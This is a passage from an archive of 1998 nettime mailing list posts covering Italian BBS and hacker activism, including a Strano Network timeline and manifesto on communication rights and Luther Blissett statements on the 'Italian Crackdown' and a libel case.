telematics in favour of protected elites, against the\ninterests of the people.=20\n\nJanuary 1993 The telematic network \"Cybernet\" was born. The national hub\nis \"Senza Confine BBS\" (Macerata); the other three nodes are initially\n\"Hacker Art BBS\" (Florence), \"Decoder BBS\", (Milan) which was started at\nthis point, and \"Bits Against the Empire BBS\" (Trento). Before 1995 there\nwere about forty nodes, distributed all over Italy, with an average of\nabout 300 users for every BBS, but with up to 800-1,000 users for Decoder\nBBS and 5,000 for Virtual Town TV. Unlike ECN, Cybernet presents itself as\nan \"open\" network, with message areas where anybody can both read and\nwrite. Proposals for a rhizomatic kind of telematic network will be\ndiscussed and promoted here to overcome the hierarchic structure of the\nFIDO-like model. (These proposals will receive a very detailed formulation\nin the \"Gaia\" project, a description of a network based on technical\nself-organisation principles). Cybernet assumes as a basic principle the\nright for every person all over the world to communicate without barriers\nthrough telematic media. The proposed model will be used as an example for\nall the future discussions not only inside the E.C.N. area but also for\nthe future civic network and for Internet providers.=20\n\nApril 1993 Strano Network (Strange Network) started in Florence.=20\n\nSpring 1993 \"No copyright, nuovi diritti nel 2000\", (\"No Copyright, new\nrights in 2000\") edited by the Decoder group is published by ShaKe.  This\nanthology will constitute the theoretical basis for a political answer to\nlaw 518 on copyright.=20\n\nOctober 1993 \"Immaginario tecnologico di fine millennio\" (\"Technological\nImaginary at the end of the Millenium\") edited by Libreria Calusca of\nPadua is published. An important moment of discussion between the\ndifferent Italian telematic organisations.=20\n\nDecember 1993 Law 547. This law begins the regulation of computer crimes\nand forms the prelude to the Italian Crackdown.=20\n\nMay 1994 The so called \"Italian Crackdown\" begins: looking for copied\nsoftware police make confiscations, with the temporary closure of about\n150 BBSs, mainly of Fidonet and Peacelink networks.=20\n\nJune 1994 Meeting organised by \"Informatica per la democrazia (Computer\nScience for Democracy)\" in Rome. This meeting examines the laws on\nsoftware copyright and computer crimes that are judged illiberal and\npotentially dangerous for the telematic network.  It also considers the\napplications made by magistrates (in Pesaro, Milan, Rome). For sure, the\nlaws are an attack on freedom of expression.=20\n\n1994 Start of the Bologna civic network that gives a free Internet e-mail\naddress to every person living in Bologna.=20\n\nOctober 1994 Virtual Town TV BBS, (formerly Hacker Art BBS) starts. VTTV\nuses the new software First Class with a version - UUCP - that can supply\nfree Internet e-mail to users, a graphical interface and the possibility\nto make multiple chat (5 contemporaneous lines).=20\n\nDecember 1994 \"PsycoSurf\" & \"MediaTrips\", events in CSOA Forte Prenestino\n(Rome) with the birth of the Avana group (Avvisi Ai Naviganti - Warnings\nTo Sailors: the name of the special nautical weather reports on the radio)\nand of the Avana BBS. The future activities of the Avana group include:\nintroduction courses, (Internet, word processing, free systems, etc.);\nengagement in electronic democracy, (the Roman civic network); hypermedia\ninstallations; and reflections on the \"yield of citizenship \" and\n\"political enterprise\".=20\n\nFebruary 1995 \" Communication Rights at the End of the Millennium\",\norganised by \"Strano Network\" in the Luigi Pecci Center for Contemporary\nArt in Prato. For the first time about twenty hobbyist networks also met\nat this convention.\n\nThis encounter was born from the necessity to find a common platform to\nreact to institutional actions (the Italian Crackdown) that, in the\ninitial phase of internet promotion in Italy, both tried to limit the\nexperiences of data transmission and misunderstood its specific\nrequirements and purposes. With the birth of the phenomenon of the \"civic\nnetworks\" it was part of an attempt to formalise just two possible actors\nin data transmission: commercial providers and institutional \"civic\nnetworks\". These were proposed to replace all other things, including the\nworld of the 'associazionismo' - the grassroots networks. In such\nconditions every experience of spontaneous data transmission remained\nexcluded or \"not protected\", ( a clear example is the recent censorship of\nthe field of 'associazionismo' and hobbyist data transmission made\npossible by a specific article of the Roman civic network in July 1998).\nThe proceedings of this convention are collected and published in the 1996\nbook \"Nubi all'orizzonte - Clouds to the horizon \" edited by Strano\nNetwork and published by Castelvecchi. Taking part in the meeting were\nCybernet, ChronosNet, EuroNet, E.C.N., Fidonet, Itax Council Net,\nLariaNet, LinuxNet, LogosNet, OneNet Italy, P-Net, Peacelink, RingNet,\nRpgNet, SatNet, SkyNet, ToscaNet, VirNet, ZyxelNet and many journalists,\nartists and intellectuals. The convention was preceded by a \"hypermedia\nconference \" via the networks in the autumn of 1994. The convention\nproduces a motion signed by all the participants that can be considered\nthe common base of a new political subject that although composed from a\nwidely differentiated constellation of social members emerges through the\nuse of telematic media.=20\n\nMarch 1995 Decoder Media Party including the presentation of the Decoder\nand Strano Network Web sites.  In Rome the web sites of \"Tactical Media\nCrew\" and \"Malcolm X\" and elsewhere others, are launched.=20\n\n1995 The Decoder group propose a collaboration with the Milan Civic\nNetwork. It is not accepted because it is considered to contrast with the\n\"civic\" organisation of the network and because it is considered too\nradical.=20\n\n1995 The civic network of Rome hosts Avana BBS and approximately thirty\nother BBS and associations of the Roman area, as a result of one\nnegotiation.=20\n\nOctober 1995 About fifteen Tuscan BBSs co-ordinated by Strano Network form\nthe FirNet network (of which VTTV is the host). In Florence City Hall\nFirNet open a \"Consultation of the telematic area of the metropolitan\nFlorentine area\" with the demand for a Civic Network in which the BBSs\ntake part and that also guarantees those ethical principles that Strano\nNetwork had formulated in the text \"Fluctuating Interface and\nCommunication Right\" presented in October at the international convention\nMetaforum II in Budapest. After few months a Civic Network of Florence\nwill be started - totally neglecting the demands of the Consultation.\nCitizens will not be guaranteed any rights of communication using\ntelematic media and the civic network will be a simple \"display window\"\nfor the promotion of the interests of the shop keeper.=20\n\nOctober 1995 Strano Network realises in \"Cybercaf=E9 Zut\" the first public\nand free Internet connection in Florence.=20\n\nDecember 1995 \"Warnings To Sailors (AvANa)\" in Forte Prenestino (Rome).\nMeeting on the new frontiers of self-production and a general test for the\nnew AvANa BBS using First Class software.=20\n\nDecember 1995 First global Netstrike, devised and promoted by Strano\nNetwork. To protest against the nuclear experiments at Mururoa, ten sites\nof the French government are almost blocked and their operation is\ndrastically slowed down by thousands of net-strikers from all the world\nthrough a simultaneous concentration of activity of many browser on one\nsame site. The \"Net strike\" is the demonstration that the technology of\ndata transmission supplies also new kinds of social and political protest.=\n=20\n\n1996 Netstrike for Chiapas.=20\n\n1996 The start of \"Islands in the Network\" and the transfer to the\nInternet of the main documents of the E.C.N..  Its main message areas are\nalso now converted into mailing lists: \"Movement\" (on political\ninitiatives from alternative movement in Italy), \"CS-LIST\" (on initiatives\nof Italian squatters), \"International\" (on internationalist news), \" ECN\nnews \" (list consisting in a newsletter published by ECN.ORG) that will be\njoin in few months by \"EZLN It\" (on political initiatives carried out by\nItalian movement on chiapas matters), \"Cyber-Rights\" (on the Italian\nright-to-communicate matters) and \"Shunting lines\" (on gay and lesbo\nmatters).=20\n\n1996 Meeting in Pesaro, organised by Metro-olografix and others.=20\n\n1996 Netstrike against American 'justice' (focusing on the cases of Mumia\nAbu Jamal and S. Baraldini). The White House site in Washington is blocked\nfor 12 hours.=20\n\nSeptember 1996 A company is acquitted after being accused of simultaneous\nmultiple use of Microsoft software whilst only having a single license.=20\n\n1997 513 DPR Regulations governing the encryption of documents.=20\n\n1997 \"Infoxoa\" was born in Rome, during the G.R.A. (Great Self-production\nConnections).=20\n\nMay 1997 The \"Decoder-Mattino\" case. A Roman magistrate, concerning at\nsome graphics pages in Decoder 8, explains the thesis that,\n\"Cyberphilosophy, the defence of rights to both privacy and anonymity\nusing networks has to be considered the behaviour of accomplices to\npaedophiles\".=20\n\n1997 Magistrate complains about the publication of a book by the Luther\nBlissett Project.=20\n\nJanuary 1998 The Anonymous Digital Coalition announces a net strike.  It\nstops two Mexicans financial web-sites in solidarity with the Zapatista\ncause.=20\n\n1998 The first Italian anonymous remailer started by the ECN. So another\nimportant digital self-defence instrument is added to the already\nnourished resources and programs bookcase, which was in the \"crypto\"=20\ndirectory of the \"Isole nella Rete\" server.=20\n\nJune 1998 \" Hack It 98 \" at the C.P.A. in Florence. Hack It 98 is the\nactual point of arrival of the new social subject's process of growth .\n\nNearly all the groups and scenes described here participate,\neveryone supplying their own theoretical and technical contribution. The\ncharacteristics and the main proposals of this three day event, full of\nseminars, demonstrations, installations, conferences, concerts, TV\nexperiments and self-managed radio are: the horizontal dimension of the\nevent, without \"organisers, teachers, public and customers\"  but with\n\"sharers\" ( the meeting is organised by an \"open\" mailing list);  the\nproposal to repeat the meeting annually; the proposal to throw out other\nnational enterprises; thought by the collectivity and locally organised;\nthe achievement of an inquiry about work in the field of national data\ntransmission.\n\nFinally, amongst all the proposals and plans originated by Hack-it 98 one\nstands out, the one born at the beginning of the conclusive general\nassembly (subsequently re -discussed in the network) about the\nconstitution of an Agency for communication rights.=20\n\nSeptember 1998 The Agency for Comunication Rights is called for again by\nStrano Network, which suggests it has the following main characteristics:=\n=20\n\nUsing the collaboration and technical hospitality of ecn.org the Agency\nshould constitute itself as a \"non-profit cultural association\".  On the\nlegislative front it will comment on existing laws and watch over\nliberty-destroying-legislation; promote referenda on every law that\nnegates freedom of information and communication on the Network.  On the\nlegal front, the Agency should offer help to anyone who is a victim of\ncensorship.  It reserves the right to appear as a civil plaintiff if, and\nany time it might be necessary.  On the technological front, the Agency\nwill comment on any developments that can be thought to decrease the\nrights of privacy or access of individual citizens.  The Agency should\ndefend people using computers at work - stimulate debate about themes such\nas: poisoning from monitors; the defence of workers' privacy; potential\nguarantees necessary for new forms of work organisation.  The Agency\nshould strive to constitute a task force of lawyers, jurists and\ntechnicians. This group would be at the disposal of the Agency for advice,\nattendance, processing documents, analysis etc.=20\n\n-----------------\n\nMANIFESTO FOR  FREEDOM OF ELECTRONIC COMMUNICATION  IN THE THIRD MILLENNIUM\n\n- FREEDOM OF INFORMATION\n- the free, unimpeded exchange of information by the use of horizontal and\ninteractive communications made possible by all the means that new\ntechnologies offer are essential elements of our fundamental freedoms and\nmust be supported in every circumstance.\n- the right \"to inform and to be informed\" wants to be free: it belongs to\nall the world. It is produced by and for all over the world, so that\naccess to information must not be the exclusive right of an elite or\nprivileged groups.\n- the networks' property must not be under the control of monopolies or\nprivate and public oligopolies . Communication and information should be\nthe property of all. The people of the networks must be in a position to\ncontrol and to participate in the managerial choices of all those who own\nnetworks.\n- communication by private subjects cannot be restricted. Neither can it be\nentirely their own property. Customers have the right of self-manage data\ntransmissions according to  autoregulation criteria.\n- information must be accessible to all, and everyone should be able to\ninsert his/her own information in the network\n- the simple technical possibility of access to information is not\nsufficient to guarantee peoples' freedom. People must be  free to have and\nto use the necessary critical instruments to learn and to process\ninformations which they need, so that they may make their own\ninterpretation and transform themselves in meaningful communication.\n- people are not the passive terminal of information flows devised by\nelites or managers. People's freedom exists in producing social action and\ncommunication, free from prejudice and discriminations on the grounds of\nrace, sex or religion - even when those actions and communications may\ncontradict established economic or political interests.\n- BBS\n- we recognise the public usefulness of the Bulletin Board System and of\nevery communitarian and non-professional form of communication.  We love it\nfor its autonomy in managing information, and for its freedom from the\ngreat media and editorial oligopolies\n- the activity of the BBS must not be subordinate to authorisations or\ncensorship.  It must be recognised and protected because it is a social and\nuseful instrument for the free manifestation of thought.\n\n- TECHNOLOGY\n- in the network the standards of communication must be the fruit of a\nglobal decision.  They must not be spread by the economic politics of a\nnarrow power group. Technology does not have to submit to controls and\neconomic politics which might stop their distribution or global production.\n\n- PRIVACY\n- anonymity must be agreed.  The privacy of every custumer must be\nprotected. Network customers have the right to defend their privacy of the\ndata transmissions and by the use of all available technological and\ncryptographic means. No  information regarding the personal data of any\nindividual should be stocked or searched by electronic means without the\nexplicit agreement of that person.\n\n- RIGHTS, RESPONSIBILITY AND LAWS\n- those who manage the nodes of data transmission networks  are not\nresponsible for the material placed by other people on the system they\nmanage.  This is because of the practical impossibility of controlling all\nof this material and because of the inviolability of private\ncorrespondence. System managers' responsibilities end where customers'\nresponsibilities start. Interpersonal, electronic communications and other\nforms of communication should be defended from every kind of censorship,\ncontrol or filtering\n- the police seizure of computers to realise investigative aims, instead of\nthe simple copying of the data-contents of the computers themselves, is a\nserious violation of personal freedom that does not have a logical or a\ntechnological foundation.\n- we denounce and condemn as unjust the legislation of a false \"society of\ninformation \".  For years magistrates have arranged 'motiveless' seizures,\ncausing damage to the social data of networks and within which they have\npenally pursued those who are merely suspected of breaking laws about\ncomputer technologies. It is time to defend the rights of individual\ncitizens instead of the interests of giant software manufacturers.\n- Anyone has the right to use any kind of information and to use it in\ntotal freedom, provided that everybody recognises the intellectual and\neconomic rights of the authors,  proportionately to intellectual and\neconomic advantages. The duration and characteristics of economic rights\nmust not deny the legitimate evolution of knowledge or limit all humanity's\nthirst for learning.\n- We refuse every present or future legislative form which might limit the\nuse of data transmission technologies as has already happened for radio\ntechnologies.  Here, a system based on authorisation and licences has\nprevented diffuse and popular access to the possibilities of social change\noffered by radio. The use of networked electronic communication\ntechnologies must neither be bound by authorisations or concessions, nor\nlimited by fiscal or bureaucratic obstacles.\n\nJune-August 1998 Many attempts at censorship by the authorities and\nmagistracy were happening (see below). They show an actually increasing\ntrend of repression and underline the necessity of an international\nco-ordination of activist servers\n\nJune 1998 As a result of a complaint, the \"Isole nella Rete\" server was\nconfiscated because the server contained a message which formed a presumed\ndefamation of an Italian tourist agency. Massive mobilisation begins\nimmediately in the networks and in the mass media to defend \"Isole nella\nRete\", to condemn the seizure, its motivations and its method. The\nimmediate restitution of the server was an important demand. The principle\nthat, \"The server represents an entire community and it cannot be closed\nbecause of a single action of a single customer on the server\" is one of\nthose supported, together with other principles.=20\n\n1998 July Rome City Council's Civil Network censors the Roman Digital\nForum.=20\n\n1998 July Law about child pornography.=20\n\n1998 July News Servers are declared not to be responsible for the messages\ncirculating in newsgroups or for the customer's messages, because the\nmessage itself is considered to be \"free expression\".=20\n\n1998 August A new, clumsy attempt to seize Isole nella Rete's server: as a\nresult of an inquiry by the criminal police of Massa about a threat to a\nlocal newspaper (with the publication of a message sent in a mailing list\nfrom Isole nella Rete).  The police threaten the seizure of Isole nella\nRete if it doesn't hand over the users' activity log.  Logs had not been\ncreated on INR for a long time so that in the case of such threats they\nwould be undeliverable.  The server is not seized.=20\n\nAugust 1998 Seizure of two personal computers at the Isole nella Rete\nrepresentative's Bologna home.=20\n\nWe acknowledge the support and the wealth of information kindly given to\nus by Decoder (Milan), Avana (Rome), Senza Confini BBS (Macerata), Zero\nBBS (Turin), and Lamer Xterminator BBS (Bologna).  In this text there are\nno names of individuals but only of groups or situations.=20\n\nInternet addresses\n\n- Associazione Culturale Malcolm X www.mclink.it/assoc/malcolm/\n- Avana www.isinet.it/lynx, www.wonderpark.com\n- Banca Dati della Memoria www.clarence.com/memoria/index.shtml\n- Centri Sociali News www.ecn.org/cslist/\n- Centro di Documentazione Krupskaja www.geocities.com/Hollywood/2607/\n- Centro Popolare Autogestito www.ecn.org/cpa\n- Comitato Romano contro la Repressione Mumia Abu Jamal users.iol.it/comlab=\n/\n- Cooperativa Sociale Blow Up www.blow-up.it/\n- Cyber Rights ~ Mailing List www.ecn.org/cybr/\n- Cybercore www.sexonline.cybercore.com\n- Decoder www4.iol.it/decoder\n- Deviazioni, situazioni gay e lesbiche antagoniste www.ecn.org/deviazioni\n- Digital Skull BBS www.eldorado.it/dskull\n- ECN Bologna www.ecn.org/bologna\n- Free Waves www.alpcom.it/hamradio/freewaves\n- Infodiret(t)e Padua www.ecn.org/pad/\n- Isole Nella Rete www.ecn.org\n- Kollettivo Estrella Roja www.ecn.org/estroja\n- Kyuzz.org www.kyuzz.org\n  (Server che ospita svariati personaggi del panorama cyberpunk italiano\n  diventa fondamentale per l'organizzazione dell'hackit98 anche attraverso =\nla\n  relativa mailing list \"hackmeeting {AT} kyuzz.org\")\n- Luther Blissett (and many others...) http://www.pengo.it/blissett/\n- Neural www.pandora.it/neural/\n- NeuroZone 2 Alor.home.ml.org\n- Orda Nomade www.kyuzz.org/ordanomade/index.htm\n- Post_axion Mutante strano.net/mutante\n- Radio Blackout www.ecn.org/blackout\n- Senza Rete (Cobas) www.geocities.com/Paris/7975/\n- Settore Cyberpunk www.ecn.org/settorecyb\n- Strano Network www.strano.net\n- Tactical Media Crew vivaldi.nexus.it:80/commerce/tmcrew/\n- Zero! (Turin) www.ecn.org/zero/\n- ZIP! per l'autonomia in rete www.ecn.org/zip/\n\nBibliography\n\n1986 \"Decoder\", # 1, Shake Ed. Underground, Milan. (12 issues from 1986).\nAugust1989 \"Happening/Interattivi sottosoglia\", Firenze.\nJune1990 \"Cyberpunk\" anthology, edited by  Shake Ed. Underground, Milan.\nJuly1990 \"Rete Informatica Alternativa\", in \"Decoder\", # 5, Shake Ed.\nUnderground, Milan.\n1990 \"Amen\", # 8, Milan.\nSeptember1991 \"International Meeting\", La Calusca edition, Padua.\nJune1991 \"Opposizioni '80\", Amen edition, Milan.\nMay 1991 Bulletin \"Interzone\", Rome.\nSeptember1991 \"Neuronet\", Bologna.\nOctober1991 \"Data Bank: transazioni, connessioni, controllo\", Murnik\nedition, Milan.\nApril1992 \"Comunit=E0 Virtuali/Opposizioni Reali\", in \"Flash Art\", april-ma=\ny,\n#167, Milan.\n1st May1992 Translation of  \"Giro di vite contro gli hacker\", Shake Ed.\nUnderground, Milan.\nJune1992 \"Conferenze telematiche interattive\", edizioni P. Vitolo, Roma.\n1992 \"Cyber Web - La rete come ragnatela\" in Decoder, # 7, Shake Ed.\nUnderground, Milan.\nDecember1992 \"Metanetwork - fanzine su floppy disk e rete telematica per\ncomunit=E0 virtuali\", # 0, Florence. (3 issues from 1993 to 1994).\n1992 \"Zero Network\", Padua.\n1993 gennaio \"Codici Immaginari\", # 1, Rome. (4 issues from 1993 to 1994).\n1st May 1993 \"No copyright, nuovi diritti del 2000\", Shake Ed. Underground,\nMilan.\n1994 \"Regole e garanzie per la Frontiera elettronica\" in \"Il Manifesto\",\n07-gennaio, Rome\n1994 \"Testi caldi - Osservatorio interattivo sui Diritti della Frontiera\nElettronica\", Global Publications, Pisa.\n1994 \"Giro di vite per la libert=E0 d'informazione\" in \"Il Manifesto\",\n21-maggio, Rome\n1994 \"Due leggi da cambiare\" in \"Il Manifesto\", 21- maggio, Rome\n1994 \"Le trib=F9 delle reti\" in \"Il Manifesto\", 21- maggio, Rome\n1994 \"Byte avvelenati. Finora solo leggi a senso unico\" in \"Il Manifesto\",\n10-luglio, Rome\nSeptember1994 \"Italian Crackdown\", in \"Decoder\" # 9, Shake Ed. Underground,\nMilan.\n1994 \"Il messaggio tra lavoro e liberta'\" in \"Il Manifesto\", 20-ottobre, Ro=\nme.\n1994 \"La bibbia del modem\", Muzzio Nuovo Millennio edition.\nJune1995 \"Le bbs e il futuro\", in \"Decoder\" #10, Shake Ed. Underground, Mil=\nan.\n1995 \"Una legge ai minimi termini\" in \"Il Manifesto\", 10-agosto, Rome.\n1995 \"Digital Guerrilla\", Turin.\n1996 Translation of \"Hackers, eroi della rivoluzione informatica\", Shake\nEd. Underground, Milan.\n1996 \"Nubi all'orizzonte\", Castelvecchi edition, Rome.\n1996 \"Net Strike, No Copyright, Etc.\", AAA edition.\n1998 \"La nuova frontiera elettronica\" in \"Il Manifesto\", 09-febbraio, Rome\n1998 \"Ribellione nella Silicon Valley - Processed world anthology\", Shake\nEd. Underground, Milan.\n1998 \"Kriptonite\", Nautilus, Turin.\nJune1998 \"Ragnatela sulla trasformazione\", Citylights editions, Florence.\n\n---------------------------------------------------------------------------=\n-----\n-----------------\n\nE-mail for Strano Network\nt.tozzi {AT} ecn.org\n\nBiography\nStrano Network are one of the groups involved in this process. The most\nrecent achievement was the co-organisation of HackIt 98, a meeting for\nhackers, for all of these networks groups and individuals, and for the\ndefence of cyber-rights taking place in Florence in June 1998.\n\n\n---\n#  distributed via nettime-l : no commercial use without permission\n#  <nettime> is a closed moderated mailinglist for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: majordomo {AT} desk.nl and \"info nettime-l\" in the msg body\n#  URL: http://www.desk.nl/~nettime/  contact: nettime-owner {AT} desk.nl\n\n",
                "to": "nettime-l {AT} Desk.nl",
                "url": "https://nettime.org/Lists-Archives/nettime-l-9809/msg00102.html",
                "list": "nettime_l",
                "author_name": "t.tozzi {AT} ecn.org",
                "subject": "<nettime> New Interactive Communication and 'Antagonismo' in Italy",
                "from": "\"t.tozzi {AT} ecn.org\" <Strano.Network {AT} basis.Desk.nl>",
                "follow-up": [
                    {
                        "content-type": "text/plai",
                        "from": "Luther Blissett <tom9351 {AT} iperbole.bologna.it>",
                        "id": "00121",
                        "content": "\nAt 18.16 24/09/98 +0100, t.tozzi {AT} ecn.org wrote:\n\n>- Luther Blissett (and many others...) http://www.pengo.it/blissett/\n\nNo, mate, that site is old, never updated since 1995 and written in an\nultra-clumsy \"sounds-like-English\". You'd better refer to the following one\n(which is linked to many others).\n\n\nThe Luther Blissett Mythopoetic On-line Guide:\nhttp://www.geocities.com/Area51/Rampart/6812\n---\n#  distributed via nettime-l : no commercial use without permission\n#  <nettime> is a closed moderated mailinglist for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: majordomo {AT} desk.nl and \"info nettime-l\" in the msg body\n#  URL: http://www.desk.nl/~nettime/  contact: nettime-owner {AT} desk.nl\n\n",
                        "date": "Fri, 25 Sep 1998 19:54:54 +0200",
                        "to": "nettime-l {AT} Desk.nl",
                        "message-id": "199809252323.AAA14869 {AT} basis.Desk.nl",
                        "url": "https://nettime.org/Lists-Archives/nettime-l-9809/msg00121.html",
                        "list": "nettime_l",
                        "author_name": "Luther Blissett",
                        "subject": "Re: <nettime> New Interactive Communication and 'Antagonismo' in Italy"
                    }
                ],
                "message-id": "199809241730.SAA29556 {AT} basis.Desk.nl",
                "date": "Thu, 24 Sep 1998 18:16:15 +0100",
                "content-type": "text/plai"
            },
            {
                "content-type": "text/plai",
                "from": "Luther Blissett <tom9351 {AT} iperbole.bologna.it>",
                "id": "00099",
                "content": "\nTelefono Azzurro [azure telephone, light blue telephone] is an Italian\n(supposedly) no-profit association with easy access to state funds and\ncorporate sponsorship. Their field of activity is the prevention and\nrepression of child abuse. The reason of such a bizarre name is that\nbattered/violated children are supposed to call the association's\nultra-advertised number. Being the colour of the national soccer team,\nazure is usually associated with hope.  This is a piece published on La\nRepubblica daily newspaper, followed by the translation of Luther\nBlissett's press release. \n\n-1-------\n\nLa Repubblica (Bologna edition), August 27th, 1998: \n\nBURGLARS-VANDALS AT TELEFONO AZZURRO After an escalation of threatening\ncalls to Prof. Caffo\n\nby Carlo Gulotta\n\nA series of threatening phone calls, then a communique from Luther\nBlissett that called in question the group for its support to the new bill\non paedophilia, eventually a strange act of burglary, more likely to be a\nwarning. Three different episodes that have probably nothing to do with\neach other, but whose target is the same, Telefono Azzurro.  A few weeks\nago the group's Bolognese office started to receive a different kind of\ncalls: insults and threats. A few days ago professor Ernesto Caffo gave\nthe police a leaflet which Luther Blissett had sent to a press agency. By\nthis leaflet, Blissett \"warns\" the association. Blissett's 'media pirates'\nare also involved in troubles with the judiciary because of their book\n'Lasciate che i bimbi' (published on the Internet) - it seems that they\nintended to warn Telefono Azzurro about the escalation of child abuse\nwhich will probably follow the passage of the new bill on paedophilia.\nTA's pressure and efforts facilitated the passage of the bill, which\naggravates punishment for child abuse.  Professor Caffo immediately\ncontacted the police and gave the leaflet to the detectives. The leaflet\nwas faxed from a copy shop in Bologna, and also targets two other similar\nassociations. 'We are used to threatening calls', says professor Caffo,\n'One must be able to make distinctions between the different episodes,\nthough it is obvious that some people do not appreciate our efforts. We\nhave an established relationship with the police, and immediately brought\nthe leaflet to the station'.  Yesterday, Telefono Azzurro made yet another\nofficial accusation, after a strange incursion in their office, via\nOberdan 24. It happened last Monday night. Someone forced the locks of two\ndoors on the ground floor, broke into the office, opened cabinets,\nrummaged into drawers but did not steal anything. Before leaving the\nplace, they even evacuated their bowels in the lobby. TA activists believe\nthat it was 'a warning, some sort of affront. They didn't steal anything'. \n\n-2----- Press Release from the Luther Blissett Project in Bologna (authors\nof \"Lasciate che i bimbi\") about vandalism at Telefono Azzurro's Bologna\noffice\n\nBologna, Thursday 27 August 1998\n\nAn article by Mr. Carlo Gulotta on today's La Repubblica (Bologna edition)\ncalls us in question with reference to threats and vandalic incursions\nsuffered by the Telefono Azzurro office in Bologna.  We understand that\nMr. Ernesto Caffo, president of Telefono Azzurro, mentioned us in relation\nwith the latest effraction. Caffo talked about a communique supposedly\nsent by one Luther Blissett. \n\nGulotta's reference to this communique is ambiguous:  'It seems that\nBlissett's \"media pirates\" intended to warn Telefono Azzurro about the\nescalation of child abuse which will probably follow the passage of the\nnew bill on paedophilia'.  This may have two different meanings: either\nthis Blissett says that the new act on child pornography is so badly\nwritten that child abuse will increase rather than decreasing (by the way,\nthis is our opinion), or the communique is a Mafia-styled warning, 'You\nlet that bill pass? OK, we'll make you pay by raping even more children!'. \n\nWe have nothing to do with any threatening phone call or vandalic raid\nsuffered by Telefono Azzurro. We disdainfully reject every hint and\ninsinuation. \n\nWe also advise Telefono Azzurro to think twice before calling in question\npeople whose social praxis and political activities have always been\nstylish. We would never stoop to such rascally triviality. \n\nWe've been handling the issue of \"paedophilia\" for years. We think that\n\"paedophilia\" is little more than a pretext to spread law-and-order\nauthoritarian culture and destroy all civil rights and guarantees in this\ncountry.  We have never attacked Telefono Azzurro, nor have we stated that\nchild abuse is not a serious problem. We have researched a plenty of\njournalistic/judiciary errors and horrors, clinging to our libertarian\npoint of view.  We have defended the Internet users' community from absurd\nattacks, by exploding many lies that were published on newspapers and/or\nbroadcasted on TV.  We have fought traditional media hacks, and exposed\nthe mixture of ignorance, fear and envy that inspired their slanders. \n\nWe even broke with a custom of the Luther Blissett Project, and decided to\nrun our campaign publicly, turning up at conferences and public meetings,\nshowing our faces, even before Lucia Musti started her libel suit. Our\nbook \"Lasciate che i bimbi\" is available in the bookshops, and it is the\nonly reliable source on our position. [...]\n\nAnyway, the new act on paedophilia and child pornography (bill S2625,\napproved by the Senate on June the 9th) is a juridical monstrosity, a\nclassic emergency act which contains various elements of\ninconstitutionality. We are not the only ones to say this. For instance,\nsome representatives of the gay movement (e.g. attorney Ezio Menzione)\ndeconstructed the bill's text and demonstrated that it is useless,\nsexophobic and liberticide. Moreover, MCmicrocomputer magazine strongly\ncriticised the bill because it modifies the Penal Code (3rd comma of the\narticle 600/3) in order to make Internet service providers responsible for\nthe \"paedophile\" pictures and texts passing through their servers. This is\nlike holding Telecom Italia as responsible for obscene calls. \n\nThat's all. \n\n\n\n\n\n---\n#  distributed via nettime-l : no commercial use without permission\n#  <nettime> is a closed moderated mailinglist for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: majordomo {AT} desk.nl and \"info nettime-l\" in the msg body\n#  URL: http://www.desk.nl/~nettime/  contact: nettime-owner {AT} desk.nl\n\n",
                "date": "Thu, 27 Aug 1998 22:37:26 +0100",
                "to": "nettime-l {AT} Desk.nl",
                "message-id": "199808301345.OAA25227 {AT} basis.Desk.nl",
                "url": "https://nettime.org/Lists-Archives/nettime-l-9808/msg00099.html",
                "list": "nettime_l",
                "author_name": "Luther Blissett",
                "subject": "<nettime> Blue Telephone vs. Luther Blissett ?!"
            },
            {
                "content-type": "text/plai",
                "from": "Luther Blissett <tom9351 {AT} iperbole.bologna.it>",
                "id": "00108",
                "content": "\nTHE 1998 ITALIAN CRACKDOWN EXPOSED\n\n\nIndex\n\n0. Premise\n1. What Is The Musti Affair?\n2. The assault on Internet service providers\n3. We Need International Solidarity\n\n\n\n\n0. Premise\n\nSomething serious is happening in Italy. A crackdown recently started in\nBologna  is going to threaten freedom of speech for Italian netizens. The\nso-called Musti affair, which we'll sum up in the next paragraph, is a\npretext to create a legal precedent, foster (self-)censorship and possibly\nenforce the (remarkably restrictive) law on the press in the Italian\ncyberspace.\n\n\n1. What Is The Musti Affair?\n\nLucia Musti, vice-District Attorney in Bologna and former Public Prosecutor\nin a famous trial against an innocuous cult called 'Bambini di Satana'\n[Children of Satan], sued a 'traditional' publisher (Castelvecchi Edizioni,\nbased in Rome) and two Internet service providers (Cybercore, based in\nBologna, and 2mila8, based in L'Aquila) for having published or put into\nelectronic circulation Luther Blissett's book 'Lasciate che i bimbi.\n\"Pedofilia\": un pretesto per la caccia alle streghe' (Let The Children...\n\"Pedophilia\" as A Pretext for A Witch Hunt]. The book is anti-copyright,\nthereby it is also freely available on the Web. Lucia Musti wants the book\nto be banned, all the copies to be destroyed and its electronic versions to\nbe removed from the indicted servers. Moreover, she claims moral damages\nfor 450 million lire (approximately $300,000). She asked the competent\nmagistrate to sequestrate Castelvecchi's accounts and contracts (officially\nin order to know how many copies were put into circulation - more likely\nshe wants to find out the real names of the authors). The first session of\nthe trial will take place on the 5th of May at the Tribunal of Bologna.\nAccording to Musti, the book's content is 'insulting', 'slanderous' and\n'prejudicial' to her reputation and identity. The charge is 'Misuse of the\nright of criticism'. Why?\nThe first chapter of Blissett's book consists of a scrupulous account of\nthe BDS trial. In 1996 the three defendants (the cult leader Marco Dimitri\nand his fellows Piergiorgio Bonora and Gennaro Luongo) were arrested and\ncharged with child rape, satanic ritual abuse and even human sacrifice.\nThere were no corpses, no reliable witness, no evidence at all whatsoever.\nThe defendants went through a long, groundless detention before being taken\nto court. The media upheld their guilt, fostered moral panic and described\nthem as little more than bloodsucking monsters. Eventually they were\nacquitted, but their life was destroyed.\nSoon after the arrest the Luther Blissett Project launched a campaign of\ncounter-information and challenged the investigating authorities, whose\nJeanne d'Arc-like commander was Lucia Musti. The LBP exposed her lies, her\nstaunch clericalism and the ambiguous role played by the Curia of Bologna\n[local ecclesiastic authority] through a group of bigots named GRIS [Group\nfor Research and Information on Cults]. Combining media hoaxes, private\ninvestigations and a meticulous deconstruction of Musti's propaganda, the\nLBP helped to free Dimitri and the other guys. Some newspapers (e.g. La\nRepubblica) were greatly influenced by Blissett's campaign, and explicitly\ncensured Musti's behaviour and fanaticism.\nAccording to the LBP the 'Children of Satan' were scapegoats, and that\ntrial was a manifestation of the 